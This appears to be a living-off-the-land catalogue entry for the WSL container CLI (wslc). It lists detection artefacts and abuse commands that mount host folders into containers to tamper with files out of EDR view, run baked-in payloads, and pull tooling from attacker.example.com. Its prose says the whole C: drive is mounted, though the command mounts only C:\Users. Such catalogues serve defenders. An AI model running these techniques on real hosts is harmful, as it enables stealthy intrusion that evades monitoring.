Windows Subsystem for Linux container CLI. Builds, pulls, runs, and executes commands inside Linux (OCI) containers. Ships built-in with WSL and is also shipped as container.exe, a byte-for-byte copy (identical file hash) in the same directory. At the time of writing, available in pre-release of WSL (version 2.9.3 or higher), and requires ‘wsl –update –pre-release’ to install. More information available under https://learn.microsoft.com/en-us/windows/wsl/wsl-container
-v/--volume mapping a Windows path into a container
bash -c, sh -c, or /dev/tcp/ - arbitrary shell execution / fileless download inside the container
Vmmemwslc-cli-<username> (or Vmmemwslc-cli-admin-<username> for an elevated session) process
run/exec subcommand
-v bind-mounted folder
Pulls (if not already present) and runs a throwaway Linux container, bind-mounts a host path (here the entire C: drive) into the container via virtiofs so the Linux payload can read, stage, or modify arbitrary host files while running outside host process visibility.
wslc run --rm -it -v C:\Users:/host ubuntu:latest bash -c "{CMD}"
Read, stage, or tamper with arbitrary host files from an EDR-blind container whose host-side process tree is masked by the WSL VM worker.
Builds a Linux image from a local Containerfile on the host and runs it.
wslc build -t payload .
wslc run --rm payload
Build and run a container image on the host to execute baked-in payloads in an EDR-blind runtime.
Pulls an arbitrary OCI image from a remote (potentially attacker-controlled) registry over the registry pull protocol.
wslc pull attacker.example.com/tooling:latest
Ingress tool transfer - stage attacker tooling on the host as an OCI image via a registry pull.